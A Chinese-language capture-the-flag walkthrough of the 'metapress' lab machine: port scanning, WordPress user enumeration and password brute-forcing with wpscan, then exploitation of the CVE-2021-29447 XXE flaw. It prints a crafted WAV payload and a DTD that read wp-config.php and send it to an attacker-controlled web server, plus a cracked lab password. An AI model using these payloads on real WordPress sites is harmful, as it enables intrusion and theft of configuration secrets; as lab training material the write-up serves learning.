首先开启一个机器得到靶机地址为10.10.11.186

使用nmap进行端口扫描

发现开放了21,22,80三个端口
直接访问80端口发现跳转到metapress.htb于是进行hosts绑定


再次访问

发现为一个wordpress的站点
目录扫描得到可访问的后台
http://metapress.htb/wp-login.php?loggedout=true&wp_lang=en_US

使用wpscan扫描可以利用的漏洞发现不存在，进行用户名枚举
wpscan --url http://metapress.htb/ -e vp //枚举存在漏洞的插件
wpscan --url http://metapress.htb/ -e u //枚举用户名

使用字典对这两个用户名进行爆破
wpscan --url http://metapress.htb/ --passwords /usr/share/wordlists/rockyou.txt --usernames manager,admin -t 100
成功得到manager用户的密码
Partylikearockstar
使用爆破出来的账号密码成功登录

进过前面的信息收集发现该wordpress的版本为5.6.2存在xxe漏洞
利用xxe漏洞外带进行信息泄漏（可参考https://github.com/motikan2010/CVE-2021-29447）

1， 制作wav文件，内容如下
$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.14.24:8001/evil.dtd'"'"'>%remote;%init;%trick;] >\x00'> payload.wav

2， 制作evil.dtd文件（该文件名与1中标红部分请求的文件名一致）
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=//var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.14.24:8001/?p=%file;'>" >

分别填入想要泄漏的文件名以及开启web服务的主机地址，

3， 开启web服务
Python3 -m http.server 8001

4， 登录系统上传制作好的payload.wav文件泄漏配置文件

5， 开启的web服务成功获取到配置文件的base64编码的信息
